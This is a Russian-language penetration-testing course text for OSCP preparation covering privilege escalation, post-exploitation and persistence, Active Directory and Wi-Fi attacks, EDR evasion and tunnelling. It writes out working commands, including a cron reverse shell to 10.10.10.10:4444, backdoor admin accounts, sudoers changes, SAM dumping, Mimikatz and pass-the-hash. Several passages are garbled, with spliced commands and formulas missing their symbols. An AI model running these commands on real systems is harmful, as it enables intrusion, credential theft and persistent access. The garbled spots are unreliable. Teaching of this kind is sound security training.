    Получение первоначального доступа к системе (Initial Access) — это лишь первый шаг, который редко дает пентестеру полный контроль над целью. Чаще всего атакующий оказывается в контексте низкопривилегированного пользователя или сервисной учетной записи с крайне ограниченными правами. Для выполнения таких задач, как чтение конфиденциальных файлов, дамп хешей паролей или установка бэкдоров, необходимо «подняться» в иерархии системы до уровня root (в Linux) или SYSTEM (в Windows). Этот процесс называется Privilege Escalation (PrivEsc), и именно он отделяет успешный взлом от неудачной попытки.

    Философия поиска векторов повышения привилегий

    Повышение привилегий — это всегда поиск аномалии. В идеальной системе права распределены строго по принципу наименьших привилегий (POLP), однако на практике системные администраторы допускают ошибки в конфигурации, разработчики оставляют небезопасные скрипты, а производители ПО выпускают патчи, которые не всегда устанавливаются вовремя.

    Логика атакующего при поиске вектора PrivEsc строится на последовательном анализе четырех плоскостей:

  • Ядро ОС: поиск уязвимостей в самом «сердце» системы (Kernel Exploits).
  • Конфигурация системы: поиск неправильно настроенных прав доступа к файлам, сервисам или задачам по расписанию.
  • Прикладное ПО: эксплуатация уязвимостей в софте, который запущен с высокими правами.
  • Человеческий фактор: поиск учетных данных в истории команд, конфигурационных файлах или переменных окружения.
  • Повышение привилегий в Linux: от SUID до Kernel Exploits

    В Linux-системах всё является файлом, и управление доступом базируется на правах владения и битах разрешений. Основная цель здесь — найти способ выполнить код от имени суперпользователя.

    Эксплуатация SUID-битов и GTFOBins

    Бит SUID (Set User ID) позволяет исполняемому файлу запускаться с правами владельца файла, а не того, кто его запустил. Если владельцем является root, это создает потенциальную брешь.

    Поиск таких файлов осуществляется командой: find / -perm -u=s -type f 2>/dev/null

    Однако наличие SUID-бита само по себе не является уязвимостью. Проблема возникает, когда легитимная утилита обладает функционалом, позволяющим взаимодействовать с файловой системой или выполнять команды. Проект GTFOBins классифицирует такие утилиты.

    Например, если утилита find имеет SUID-бит, повышение привилегий выполняется одной строкой: find . -exec /bin/sh -p \; -quit

    Здесь -exec запускает оболочку, а флаг -p (privileged) в некоторых версиях sh позволяет сохранить эффективный UID, равный root. Аналогично, если SUID установлен на vim, можно выйти в консоль через :!/bin/sh.

    Неправильные настройки Sudo и переменная PATH

    Команда sudo позволяет пользователям запускать программы от имени других пользователей (обычно root). Ошибка конфигурации в файле /etc/sudoers — один из самых частых векторов в экзаменах типа OSCP.

    Если команда sudo -l показывает, что пользователь может запускать специфический скрипт без пароля, необходимо проанализировать содержимое этого скрипта. Критическая уязвимость часто кроется в PATH Hijacking. Если скрипт вызывает команду (например, service apache2 restart) без указания абсолютного пути, атакующий может подменить переменную окружения PATH.

  • Создается вредоносный файл с именем service в директории /tmp.
  • В файл записывается /bin/bash.
  • Директория /tmp добавляется в начало PATH: export PATH=/tmp:pnpn$. Именно поэтому в профессиональном пентесте используются скрипты автоматизированного перечисления (Enumeration).
  • Linux: LinPEAS, LSE (Linux Smart Enumeration), unix-privesc-check.
  • Windows: WinPEAS, Seatbelt, PowerUp.ps1.
  • Однако важно помнить: на экзаменах уровня OSCP использование мета-эксплойтов и некоторых автоматических сканеров может быть ограничено. Пентестер должен уметь интерпретировать вывод этих скриптов и верифицировать находку вручную.

    Сравнительный анализ векторов: Linux vs Windows

    | Вектор атаки | Linux (Механизм) | Windows (Механизм) | | :--- | :--- | :--- | | Файловая система | SUID/SGID биты на бинарных файлах. | Небезопасные ACL на исполняемые файлы служб. | | Ядро | Kernel Exploits (Dirty COW, PwnKit). | Kernel Exploits (EternalBlue — редко для PrivEsc, чаще локальные переполнения). | | Конфигурация | Ошибки в /etc/sudoers и Cron. | Unquoted Service Paths, AlwaysInstallElevated. | | Учетные данные | История .bash_history, файлы конфигурации. | Реестр, файлы Unattend.xml, Memory Dumps (LSASS). | | Токены/Привилегии | Capabilities (напр. cap_setuid). | SeImpersonatePrivilege, SeBackupPrivilege. |

    Техники повышения привилегий через Capabilities (Linux)

    Современные дистрибутивы Linux постепенно уходят от использования SUID в пользу Capabilities. Это механизм, который разбивает огромные полномочия root на мелкие фрагменты. Например, чтобы программа могла слушать порты ниже 1024, ей не нужен полный root, достаточно привилегии cap_net_bind_service.

    Если администратор по ошибке назначил опасную привилегию, например cap_setuid, любой пользователь, имеющий доступ к этому файлу, может манипулировать UID процесса. Поиск таких файлов: getcap -r / 2>/dev/null

    Пример эксплуатации python с установленной cap_setuid: python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

    Пост-эксплуатация и закрепление: первые шаги после успеха

    Как только заветный хеш root или доступ SYSTEM получен, работа не заканчивается. На этапе PrivEsc в рамках подготовки к OSCP необходимо:

  • Считать флаг: обычно это root.txt или proof.txt в директории администратора.
  • Собрать доказательства: скриншот команды whoami или id вместе с содержимым флага и IP-адресом системы.
  • Дамп учетных данных: в Windows это извлечение базы SAM или дамп процесса LSASS для получения хешей других пользователей, что позволит двигаться дальше по сети (Lateral Movement). В Linux — чтение /etc/shadow`.
  • Повышение привилегий — это искусство видеть систему не так, как её задумывал создатель, а так, как она работает на самом деле со всеми своими «костылями» и историческими наслоениями. Понимание этих механизмов является критическим навыком для любого специалиста по кибербезопасности.

    7. Пост-эксплуатация: сбор данных внутри системы и методы закрепления в инфраструктуре

    Пост-эксплуатация: сбор данных внутри системы и методы закрепления в инфраструктуре

    Получение доступа к системе с правами обычного пользователя или даже администратора — это не финал пентеста, а лишь начало самого ответственного этапа. В реальных условиях и на экзаменах уровня OSCP, получение «шелла» (shell) является лишь входным билетом. Настоящая цель атакующего — понять, какую ценность представляет скомпрометированный узел, какие данные на нем хранятся и как использовать его в качестве плацдарма для дальнейшего продвижения по сети. Этот этап называется пост-эксплуатацией.

    Философия пост-эксплуатации: от хаоса к системному сбору

    Пост-эксплуатация — это комплекс действий, выполняемых после успешного взлома, направленный на извлечение максимальной выгоды из доступа. Для этичного хакера этот этап критически важен, так как именно здесь формируется доказательная база для отчета: какие конфиденциальные данные могли быть украдены и к каким сегментам сети злоумышленник мог получить доступ.

    Основные задачи пост-эксплуатации делятся на три вектора:

  • Looting (Сбор трофеев): поиск паролей, ключей, документов и конфигурационных файлов.
  • Persistence (Закрепление): создание механизмов, позволяющих вернуться в систему даже после перезагрузки или смены пароля пользователем.
  • Pivoting (Продвижение): использование узла как прокси-сервера для атаки на внутренние ресурсы, недоступные извне.
  • Важно помнить о «правиле чистоты»: каждое действие в системе оставляет следы. Профессиональный пентестер должен минимизировать изменения в системе или, как минимум, четко фиксировать их для последующего удаления в фазе Cleanup.

    Извлечение учетных данных и секретов

    Первым делом после получения стабильного доступа необходимо провести «инвентаризацию» секретов. Даже если вы уже получили права root или SYSTEM, сбор учетных данных других пользователей позволит осуществить Lateral Movement (горизонтальное перемещение) без необходимости эксплуатировать новые уязвимости.

    Работа с памятью и LSASS в Windows

    В ОС Windows процесс lsass.exe (Local Security Authority Subsystem Service) отвечает за проверку подлинности пользователей. В его памяти могут храниться хеши паролей (NTLM) и даже пароли в открытом виде (если включен протокол WDigest, что характерно для старых систем или специфических настроек).

    Для извлечения данных из памяти используется инструмент Mimikatz или его PowerShell-аналог Invoke-Mimikatz. > «Mimikatz — это не просто инструмент для кражи паролей, это демонстрация того, как архитектурные особенности управления сессиями в Windows могут быть использованы против самой системы».

    Основные команды в Mimikatz:

  • privilege::debug — получение необходимых прав для взаимодействия с системными процессами.
  • sekurlsa::logonpasswords — извлечение паролей и хешей текущих активных сессий.
  • Если антивирус блокирует Mimikatz, пентестеры прибегают к дампу памяти процесса lsass.exe штатными средствами (например, через Task Manager или утилиту procdump из пакета Sysinternals) с последующим анализом дампа на локальной машине атакующего.

    База данных SAM и системные секреты

    Файл C:\Windows\System32\config\SAM содержит хеши паролей локальных пользователей. Однако он заблокирован ОС во время работы. Для его чтения требуются права администратора и использование техник копирования теневых томов (VSS) или экспорт веток реестра: reg save HKLM\SAM sam.hive reg save HKLM\SYSTEM system.hive

    Имея эти файлы, можно извлечь хеши локальных администраторов, которые часто дублируются на других машинах в сети.

    Сбор данных в Linux

    В Linux-системах основными целями являются:

  • Конфигурационные файлы: Поиск по ключевым словам password, db_user, api_key в директориях /var/www/, /etc/, /opt/.
  • История команд: Файлы .bash_history, .zsh_history. Пользователи часто вводят пароли прямо в командной строке (например, при подключении к mysql или ssh).
  • SSH-ключи: Директории /home/user/.ssh/. Приватные ключи id_rsa без парольной фразы — это «золотой билет» для перемещения по серверам.
  • Файлы конфигурации приложений: Например, wp-config.php для WordPress или файлы .env в Docker-контейнерах.
  • Методы закрепления в системе (Persistence)

    Закрепление необходимо для того, чтобы не потерять доступ при обрыве соединения или перезагрузке целевого узла. Методы варьируются от создания новых пользователей до внедрения в системные процессы.

    Закрепление в Windows

  • Создание пользователя: Самый простой, но «шумный» метод.
  • net user backup_admin Password123 /add net localgroup administrators backup_admin /add Этот метод легко обнаруживается при аудите.

  • Запланированные задачи (Scheduled Tasks): Создание задачи, которая раз в час или при старте системы запускает Reverse Shell.
  • schtasks /create /tn "SystemUpdate" /tr "C:\temp\shell.exe" /sc onlogon /ru System

  • Реестр (Autorun): Добавление пути к вредоносному файлу в ключи автозагрузки:
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run HKCU\Software\Microsoft\Windows\CurrentVersion\Run

  • Службы (Services): Создание новой службы с правами LocalSystem. Это один из самых надежных методов, так как службы редко проверяются рядовыми пользователями.
  • Закрепление в Linux

  • SSH Backdoor: Добавление своего публичного ключа в файл /home/user/.ssh/authorized_keys. Это позволяет заходить в систему по SSH без пароля.
  • Cron Jobs: Аналог запланированных задач Windows.
  • Добавление строки в /etc/crontab: * root /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' Это будет пытаться отправить шелл каждую минуту.

  • Sudoers: Если у вас есть временные права root, можно разрешить своему пользователю использовать sudo без пароля, отредактировав /etc/sudoers:
  • username ALL=(ALL) NOPASSWD:ALL

  • Загрузочные скрипты и Systemd: Создание собственного юнита в /etc/systemd/system/, который будет запускать полезную нагрузку как демон.
  • Поиск конфиденциальной информации (Looting)

    На этапе пост-эксплуатации важно автоматизировать поиск данных, чтобы не пропустить важное в огромном массиве файлов.

    Автоматизация поиска в Windows

    Использование PowerShell позволяет быстро фильтровать файлы по расширениям или содержимому: Get-ChildItem -Path C:\ -Include .doc,.pdf,.xls,.txt,*.config -Recurse -ErrorAction SilentlyContinue | Where-Object { ssh -L 8080:internal_target:80 user@compromised_hostssh -D 1080 user@compromised_host$ Это создает полноценный SOCKS-прокси. Настроив proxychains на своей машине, вы сможете запускать любой инструмент (Nmap, Burp Suite) так, будто вы находитесь внутри сети.

    Использование Chisel

    Chisel — это современный инструмент для создания быстрых TCP/UDP туннелей через HTTP. Он крайне полезен, когда SSH заблокирован или отсутствует. Он состоит из одного бинарного файла, который работает и как сервер, и как клиент. Это стандарт де-факто для подготовки к OSCP.

    Специфика работы с Meterpreter в пост-эксплуатации

    Если эксплуатация проводилась через Metasploit, модуль Meterpreter предоставляет мощнейший инструментарий для автоматизации пост-эксплуатации.

    | Команда | Описание | | :--- | :--- | | hashdump | Извлечение хешей из базы SAM | | getlsa | Запуск скрипта для сбора паролей из LSASS | | search -f *.config | Поиск файлов по маске во всей системе | | load kiwi | Загрузка модуля Mimikatz прямо в память | | portfwd | Управление пробросом портов для Pivoting | | screenshare | Просмотр рабочего стола пользователя в реальном времени |

    Одной из самых важных функций Meterpreter является migrate. Она позволяет переместить поток выполнения шелла из подозрительного процесса (например, эксплойта в браузере) в стабильный системный процесс, такой как explorer.exe или svchost.exe. Это повышает стабильность соединения и затрудняет обнаружение.

    Анализ доверительных отношений

    В корпоративных сетях системы редко изолированы. Пост-эксплуатация должна включать анализ того, кому «доверяет» данный узел.

  • В Windows: Проверка доменных групп, в которых состоит текущий пользователь. Анализ SPN (Service Principal Names) для проведения атаки Kerberoasting (подробнее в следующих лекциях).
  • В Linux: Проверка монтируемых сетевых дисков (NFS, SMB). Если NFS настроен с параметром no_root_squash, это прямой путь к получению root на удаленном сервере.
  • Очистка следов и этические аспекты

    Завершая этап пост-эксплуатации в рамках легального пентеста, необходимо подготовить план отката.

  • Если создавались пользователи — их нужно удалить.
  • Если менялись ключи реестра — вернуть исходные значения.
  • Если загружались файлы (шеллы, инструменты) — они должны быть стерты.
  • В отчете для заказчика раздел пост-эксплуатации должен наглядно показывать цепочку: «Как от одной забытой конфигурации в веб-приложении мы дошли до полного дампа базы данных клиентов через внутреннюю сеть».

    Логика атакующего: пример комплексного сценария

    Рассмотрим ситуацию: вы получили доступ к веб-серверу под пользователем www-data.

  • Enumeration: Вы находите файл config.php, где указаны учетные данные к БД.
  • Looting: В БД вы находите хеши паролей администраторов сайта.
  • Cracking: Один из хешей удается расшифровать (пароль Summer2023!).
  • Lateral Movement: Вы пробуете этот пароль для входа по SSH под пользователем admin на этом же сервере. Успех.
  • PrivEsc: Пользователь admin имеет право запускать tcpdump через sudo. Вы используете это для перехвата трафика во внутренней сети.
  • Pivoting: Вы замечаете трафик к внутреннему серверу 192.168.50.10 на порт 445 (SMB). Вы поднимаете туннель через chisel и начинаете сканирование этого узла со своей машины.
  • Этот пример показывает, что пост-эксплуатация — это не линейный процесс, а итеративный цикл сбора данных и расширения зоны влияния. Успех на экзамене OSCP на 70% зависит от того, насколько тщательно вы проведете поиск «трофеев» на первой взломанной машине.

    8. Атаки на беспроводные сети и компрометация доменной инфраструктуры Active Directory

    Атаки на беспроводные сети и компрометация доменной инфраструктуры Active Directory

    Представьте ситуацию: вы успешно преодолели внешний периметр организации, но обнаружили, что критические ресурсы находятся в изолированном сегменте, доступ к которому возможен только через корпоративный Wi-Fi или изнутри домена Windows. На экзаменах уровня OSCP или при реальном аудите инфраструктуры предприятия именно здесь начинается «настоящая игра». Беспроводные сети часто становятся «точкой входа», а Active Directory (AD) — финальной целью, захват которой означает полный контроль над бизнесом.

    Анатомия атак на беспроводные сети: от WPA2 до Enterprise

    Беспроводные сети — это среда, где злоумышленник физически может находиться за пределами офиса, но логически — внутри сегмента передачи данных. В отличие от проводных сетей, здесь атакующий имеет возможность перехватывать кадры (frames) прямо из воздуха.

    Мониторинг и перехват рукопожатий (WPA2-PSK)

    Большинство домашних и малых офисных сетей используют протокол WPA2 с предварительным ключом (Pre-Shared Key). Уязвимость здесь кроется не в самом алгоритме шифрования AES, а в процессе четырехэтапного рукопожатия (4-way handshake).

    Когда клиент подключается к точке доступа (AP), происходит обмен четырьмя кадрами для генерации сессионных ключей. Атакующему достаточно перехватить этот обмен. Чтобы не ждать естественного подключения пользователя, применяется атака деаутентификации:

  • Адаптер переводится в режим монитора (airmon-ng start wlan0).
  • Запускается захват пакетов на целевом канале (airodump-ng).
  • Отправляются поддельные кадры деаутентификации от имени AP клиенту (aireplay-ng -0 5 -a [BSSID] -c [Client_MAC]).
  • Клиент отключается и тут же пытается переподключиться, передавая рукопожатие, которое записывается в .cap файл.
  • Взлом полученного хеша происходит оффлайн. Математическая сложность здесь заключается в функции PBKDF2, которая использует SSID в качестве «соли». Это означает, что радужные таблицы (rainbow tables) должны генерироваться под конкретное имя сети.

    Атаки на WPA2-Enterprise и RADIUS

    В корпоративных средах используется WPA2-Enterprise (802.1X), где каждый пользователь аутентифицируется под своими учетными данными через RADIUS-сервер. Самый эффективный метод атаки здесь — создание «злого двойника» (Evil Twin).

    При использовании протокола PEAP (Protected Extensible Authentication Protocol) клиент строит TLS-туннель к серверу. Если клиентское устройство не настроено на строгую проверку сертификата сервера, атакующий может поднять фальшивую точку доступа с тем же SSID. Инструменты вроде hostapd-mana или eaphammer позволяют имитировать корпоративную сеть. Когда жертва подключается, она видит запрос на ввод логина и пароля (или это происходит автоматически). В результате атакующий получает Net-NTLMv2 хеш пользователя, который можно попытаться перебрать или использовать в атаках типа Relay (если это позволяют настройки сети).

    Active Directory: логика доменной инфраструктуры

    Active Directory — это не просто база данных пользователей, это сложная экосистема, управляющая доступом к ресурсам через протоколы Kerberos, LDAP и DNS. Для пентестера AD является графом, где узлы — это компьютеры и пользователи, а ребра — права доступа (AdminTo, MemberOf, CanAbuse).

    Протокол Kerberos и его слабые места

    Kerberos — основной протокол аутентификации в AD. Он основан на использовании «билетов» и доверенной третьей стороны — Key Distribution Center (KDC), роль которой выполняет контроллер домена (DC).

    Процесс получения доступа выглядит так:

  • AS-REQ: Пользователь отправляет запрос на аутентификацию, зашифрованный его паролем (точнее, хешем).
  • AS-REP: KDC присылает TGT (Ticket Granting Ticket), зашифрованный ключом сервисной учетной записи krbtgt.
  • TGS-REQ: Пользователь предъявляет TGT и просит билет на доступ к конкретному сервису (например, файловому серверу).
  • TGS-REP: KDC выдает TGS (Ticket Granting Service), зашифрованный хешем пароля сервиса.
  • Именно на 4-м этапе кроется возможность атаки Kerberoasting. Если сервис запущен от имени обычной доменной учетной записи (а не системной), то TGS зашифрован хешем пароля этого пользователя. Любой аутентифицированный пользователь домена может запросить TGS для любого сервиса, имеющего Service Principal Name (SPN). Получив билет, атакующий извлекает его из памяти и перебирает пароль оффлайн.

    AS-REP Roasting: когда пре-аутентификация отключена

    В настройках некоторых пользователей может быть установлен флаг «Do not require Kerberos preauthentication». В этом случае атакующий может отправить запрос AS-REQ от имени этого пользователя и сразу получить AS-REP, часть которого зашифрована хешем пароля пользователя. Это позволяет получить хеш без наличия каких-либо прав в домене (нужна лишь сетевая связность с DC).

    Перечисление и поиск векторов в AD

    После получения первоначального доступа (например, через взлом Wi-Fi или фишинг) необходимо понять структуру сети. Использование net.exe или PowerView позволяет собрать информацию о:

  • Доменных администраторах и группах с высокими привилегиями.
  • Доверительных отношениях между доменами (Forest Trusts).
  • Списках управления доступом (ACL).
  • Инструмент BloodHound произвел революцию в пентестинге AD. Он использует теорию графов для визуализации путей атаки. Например, он может показать, что пользователь User A является администратором на PC-01, где в памяти лежит токен User B, который, в свою очередь, входит в группу IT-Support, имеющую права GenericAll над объектом Domain Admin.

    Техники компрометации и Lateral Movement

    Перемещение внутри сети (Lateral Movement) — это процесс захвата новых узлов с использованием учетных данных, найденных на уже взломанных машинах.

    Pass-the-Hash (PtH) и Pass-the-Ticket (PtT)

    Если у вас есть NTLM-хеш пользователя, вам не нужно знать его пароль в открытом виде. Протокол NTLM позволяет аутентифицироваться, используя только хеш. Инструменты вроде mimikatz или impacket позволяют выполнять команды на удаленных машинах, передавая хеш: python3 psexec.py DOMAIN/Username@Target-IP -hashes :[NTLM_HASH]

    В случае с Kerberos используется техника Pass-the-Ticket. Если вы скомпрометировали машину, на которой активна сессия администратора домена, вы можете экспортировать его TGT из памяти (процесс lsass.exe) и импортировать в свою сессию. Поскольку TGT подтверждает личность пользователя перед KDC, вы получаете права администратора без знания пароля или хеша.

    Злоупотребление делегированием (Delegation)

    Делегирование позволяет сервису (например, веб-серверу) выдавать себя за пользователя для обращения к другому сервису (базе данных). Существует три типа:

  • Unconstrained Delegation: Сервер получает копию TGT пользователя и может обращаться к любому ресурсу от его имени. Если администратор домена зайдет на такой сервер, его TGT окажется в памяти, и сервер (или захвативший его хакер) станет «богом» домена.
  • Constrained Delegation: Ограничивает список сервисов, к которым можно обращаться. Однако при наличии расширения S4U2self атакующий может подделать билет, если у него есть хеш учетной записи сервиса.
  • Resource-Based Constrained Delegation (RBCD): Позволяет самому ресурсу определять, кто может ему делегировать полномочия. Это часто используется для повышения привилегий, если у атакующего есть права на запись в атрибуты компьютерного объекта.
  • Атаки на протоколы разрешения имен: LLMNR и NetBIOS-NS

    Если в сети Windows не удается найти прямую уязвимость, атакующий переходит к перехвату трафика. Протоколы LLMNR (Link-Local Multicast Name Resolution) и NBT-NS используются, когда DNS не может разрешить имя хоста.

    Сценарий атаки с использованием Responder:

  • Пользователь вводит в проводнике опечатку: \\servre01\share.
  • DNS отвечает, что такого хоста нет.
  • Компьютер жертвы отправляет мультикаст-запрос: «Кто такой servre01?».
  • Responder отвечает: «Это я! Пришли мне свой хеш для аутентификации».
  • Жертва отправляет Net-NTLMv2 хеш.
  • Хотя Net-NTLMv2 нельзя использовать в классическом Pass-the-Hash, его можно либо перебирать (bruteforce), либо ретранслировать (Relay).

    NTLM Relay: от перехвата к исполнению кода

    Если в сети отключена подпись SMB (SMB Signing: Disabled), атакующий может переслать перехваченный хеш на другую машину. Если пользователь, чей хеш перехвачен, имеет права администратора на целевой машине, атакующий получит на ней Shell. Это критический вектор, который часто встречается в корпоративных сетях из-за необходимости поддержки старого оборудования.

    Захват домена: Golden Ticket и Silver Ticket

    Когда пентестер получает доступ к контроллеру домена, его цель — обеспечить себе абсолютное и невидимое присутствие.

    Golden Ticket (Золотой билет)

    Это поддельный TGT. Для его создания необходим хеш учетной записи krbtgt. Поскольку этот хеш шифрует все TGT в домене, обладая им, вы можете выписать себе билет на любое имя (даже несуществующее) с любыми группами (например, Domain Admins) и сроком действия на 10 лет. Золотой билет практически невозможно обнаружить обычными средствами, так как он предъявляется как легитимный TGT.

    Silver Ticket (Серебряный билет)

    Это поддельный TGS. Он создается с использованием хеша пароля конкретного сервиса (например, HTTP или MSSQL). В отличие от Золотого билета, для создания Серебряного не нужно обращаться к контроллеру домена, что делает атаку более скрытной, но ограниченной рамками одного сервиса на одном сервере.

    Специфика атак на групповые политики (GPO)

    Групповые политики — это мощный инструмент управления, но их неправильная настройка ведет к катастрофе. Пентестеры ищут:

  • GPP (Group Policy Preferences) Password: В старых версиях Windows пароли администраторов могли храниться в XML-файлах в папке SYSVOL. Хотя они зашифрованы AES, ключ шифрования был официально опубликован Microsoft.
  • Небезопасные права на объекты GPO: Если обычный пользователь имеет права на редактирование GPO, которая применяется к контроллерам домена, он может добавить скрипт на выполнение при входе в систему и получить права SYSTEM на DC.
  • Математика и логика взлома беспроводных паролей

    При расчете времени перебора WPA2-PSK важно понимать зависимость от алгоритма хеширования. Формула оценки времени перебора:

    Где:

  • — время перебора.
  • — количество комбинаций в словаре.
  • — скорость перебора (хешей в секунду).
  • — коэффициент сложности (для WPA2 это 4096 итераций HMAC-SHA1).
  • Из-за высокого значения , классический CPU-перебор крайне неэффективен. Использование GPU (через hashcat) позволяет увеличить на порядки, однако даже это не гарантирует успех против сложных паролей длиной более 12-14 символов. Именно поэтому в профессиональном пентестинге упор делается на атаку «злого двойника» и социальную инженерию, а не на «грубую силу».

    Логика атакующего при компрометации AD

    Успех в AD — это всегда цепочка действий. Рассмотрим пример из практики:

  • Начало: Взлом гостевого Wi-Fi (WPA2-PSK) через слабый пароль.
  • Разведка: Сканирование сети, обнаружение, что гостевой сегмент видит контроллер домена по порту 88 (Kerberos).
  • Сбор данных: Запуск Responder. Перехват хеша сотрудника IT-отдела, который ошибся в имени сетевого диска.
  • Эксплуатация: Реле этого хеша на сервер бэкапов, где отключена подпись SMB. Получение прав локального администратора.
  • Looting: Извлечение из памяти сервера бэкапов учетных данных сервисного аккаунта, который используется для резервного копирования баз данных.
  • Kerberoasting: Обнаружение, что этот аккаунт имеет SPN. Запрос билета и его взлом. Пароль оказывается Backup2023!.
  • PrivEsc: С помощью BloodHound выясняется, что этот аккаунт имеет права GenericWrite на объект группы Server Operators.
  • Финал: Добавление себя в группу, вход на контроллер домена, дамп ntds.dit.
  • Этот сценарий демонстрирует, что безопасность AD — это не отсутствие уязвимостей в софте, а отсутствие ошибок в конфигурации и правах доступа. Для подготовки к OSCP крайне важно научиться видеть эти связи и использовать инструменты не как «волшебные кнопки», а как средства автоматизации логических шагов.

    9. Обход средств защиты (AV/EDR) и техники туннелирования трафика в изолированных сетях

    Обход средств защиты (AV/EDR) и техники туннелирования трафика в изолированных сетях

    Представьте ситуацию: вы успешно эксплуатировали уязвимость на внешнем веб-сервере, получили стабильный Reverse Shell и даже повысили привилегии до уровня системы. Однако при попытке запустить стандартный Mimikatz или просканировать внутреннюю сеть соединение мгновенно обрывается, а ваш процесс бесследно исчезает. Это работа современных систем защиты — AV (Antivirus) и EDR (Endpoint Detection and Response). На этапе подготовки к OSCP или реального пентеста умение оставаться незамеченным и пробрасывать трафик сквозь эшелонированную оборону отделяет профессионала от новичка, полагающегося на автоматизированные скрипты.

    Механизмы детектирования: от сигнатур к поведенческому анализу

    Чтобы обойти защиту, нужно понимать, как она нас видит. Современные средства защиты используют три основных метода обнаружения вредоносной активности.

  • Сигнатурный анализ. Это классический метод, основанный на поиске уникальных последовательностей байтов (хешей) внутри файлов. Если хеш вашего nc.exe или mimikatz.exe совпадает с базой данных защитника, файл будет удален моментально.
  • Эвристический и поведенческий анализ. EDR не просто смотрит на файл, он следит за тем, что этот файл делает. Попытка внедрения кода в процесс lsass.exe, подозрительные вызовы API (например, OpenProcess, VirtualAllocEx, WriteProcessMemory) или аномальная сетевая активность вызывают немедленную реакцию.
  • Инспекция интерфейсов (AMSI и ETW). В Windows внедрены механизмы Antimalware Scan Interface (AMSI) и Event Tracing for Windows (ETW). AMSI позволяет защитнику проверять скрипты (PowerShell, VBScript) непосредственно перед их выполнением в памяти, даже если они были обфусцированы на диске.
  • Обход статического анализа и сигнатур

    Первым барьером на пути пентестера становится статический сканер. Если мы загружаем инструмент на диск, он должен выглядеть «чистым».

    Обфускация и упаковка

    Самый простой способ изменить хеш файла — использование упаковщиков (UPX) или крипторов. Однако современные антивирусы легко распаковывают UPX-архивы. Более эффективный метод — написание собственных обфускаторов, которые меняют логику выполнения программы, не меняя её результат (например, добавление «мусорных» инструкций или изменение порядка функций).

    Техника Living off the Land (LotL)

    Зачем приносить свои инструменты, если в системе уже есть доверенные бинарные файлы от Microsoft? Использование легитимных утилит для вредоносных целей называется атакой LotL. Примеры включают использование certutil.exe для загрузки файлов или mshta.exe для выполнения JavaScript/VBScript. Поскольку эти файлы подписаны Microsoft, защитные системы относятся к ним с меньшим подозрением.

    Обход динамического анализа и EDR

    EDR-решения гораздо сложнее обмануть, так как они «перехватывают» (Hooking) функции Windows API в пользовательском режиме (Userland). Когда ваше приложение вызывает функцию для выделения памяти, управление сначала переходит к библиотеке EDR, которая проверяет аргументы вызова, и только потом возвращается к ядру ОС.

    Прямые системные вызовы (Direct Syscalls)

    Чтобы обойти хуки EDR в ntdll.dll, атакующие используют технику Direct Syscalls. Вместо того чтобы вызывать высокоуровневую функцию типа VirtualAlloc, программа напрямую обращается к ядру через инструкцию syscall. Для этого необходимо знать номер системного вызова (SSDT index), который может меняться от версии к версии Windows.

    Пример логики на языке C:

    Использование инструментов вроде SysWhispers позволяет автоматически генерировать заголовочные файлы для поддержки различных версий Windows, обеспечивая работу эксплойта в обход пользовательских хуков.

    Рефлексивная загрузка (Reflective DLL Injection)

    Эта техника позволяет загрузить библиотеку (DLL) прямо в память процесса без использования стандартного загрузчика Windows. Поскольку файл никогда не касается диска и не регистрируется в списке загруженных модулей процесса (InLoadOrderModuleList), стандартные средства мониторинга файловой системы остаются слепы.

    Обход AMSI в PowerShell

    AMSI — это «кошмар» для любителей PowerShell. Однако он работает внутри процесса powershell.exe. Если мы можем изменить память этого процесса, мы можем отключить AMSI. Один из классических (хотя и часто детектируемых сейчас) методов — патчинг функции AmsiScanBuffer так, чтобы она всегда возвращала результат AMSI_RESULT_CLEAN.

    Глубокое туннелирование трафика и Pivoting

    После того как мы закрепились на узле и обошли локальную защиту, возникает следующая проблема: изолированность сетей. Целевой сервер базы данных или контроллер домена часто находятся в сегментах, куда нет прямого доступа из интернета. Здесь на помощь приходит техника Pivoting (использование взломанного узла как плацдарма).

    Проброс портов (Port Forwarding)

    Самый простой вид туннелирования. Если у нас есть SSH-доступ к скомпрометированному серверу (Pivot), мы можем пробросить порт из внутренней сети на нашу локальную машину.

    Локальный проброс (Local Port Forwarding): Мы хотим получить доступ к веб-интерфейсу внутреннего сервера `, который виден только с нашего плацдарма . ssh -L 8080:10.10.10.5:80 user@192.168.1.10 Теперь, открыв localhost:8080 на своей машине, мы попадем на внутренний веб-ресурс.

    Удаленный проброс (Remote Port Forwarding): Используется для получения Reverse Shell из внутренней сети, которая не имеет прямого выхода в интернет, но видит наш плацдарм. ssh -R 4444:localhost:4444 user@192.168.1.10

    Динамическое туннелирование (SOCKS Proxy)

    Пробрасывать каждый порт вручную неудобно. Динамический проброс создает SOCKS-прокси на нашей машине, который перенаправляет любой трафик через туннель. ssh -D 1080 user@192.168.1.10 Для работы с таким прокси в Linux используется утилита proxychains. В файле /etc/proxychains.conf указывается тип и порт прокси (socks5 127.0.0.1 1080), после чего любую команду можно запустить через туннель: proxychains nmap -sT -Pn 10.10.10.0/24

    Туннелирование через HTTP/HTTPS (Chisel)

    В корпоративных сетях SSH часто заблокирован. Однако HTTP(S) трафик разрешен почти всегда. Chisel — это мощный инструмент, написанный на Go, который создает TCP-туннели внутри HTTP-запросов. Он отлично подходит для обхода межсетевых экранов с глубокой инспекцией пакетов (DPI).

    На машине атакующего (Server): ./chisel server -p 8000 --reverse

    На жертве (Client): ./chisel client <IP_атакующего>:8000 R:socks Это создаст обратный SOCKS-прокси, позволяя атакующему сканировать внутреннюю сеть жертвы через порт 1080.

    Сложные сценарии: ICMP и DNS туннелирование

    Если сеть максимально изолирована и даже HTTP ограничен белыми списками, пентестеры прибегают к экзотическим методам.

    ICMP-туннели (Ping Tunneling)

    Многие брандмауэры разрешают прохождение эхо-запросов ICMP. Утилиты вроде ptunnel позволяют инкапсулировать TCP-трафик в поле данных ICMP-пакетов. Скорость такого соединения невелика, но её достаточно для передачи команд в интерактивном шелле.

    DNS-туннелирование

    Это один из самых скрытных методов. Даже если компьютер не имеет доступа в интернет, он должен уметь разрешать DNS-имена через внутренний DNS-сервер. Внутренний сервер, не найдя запись, обращается к вышестоящим серверам и в итоге доходит до сервера, контролируемого атакующим. Данные передаются внутри DNS-запросов (например, в качестве поддоменов) и ответов (в записях TXT). Инструменты: dnscat2, iodine.

    Математика и производительность туннелей

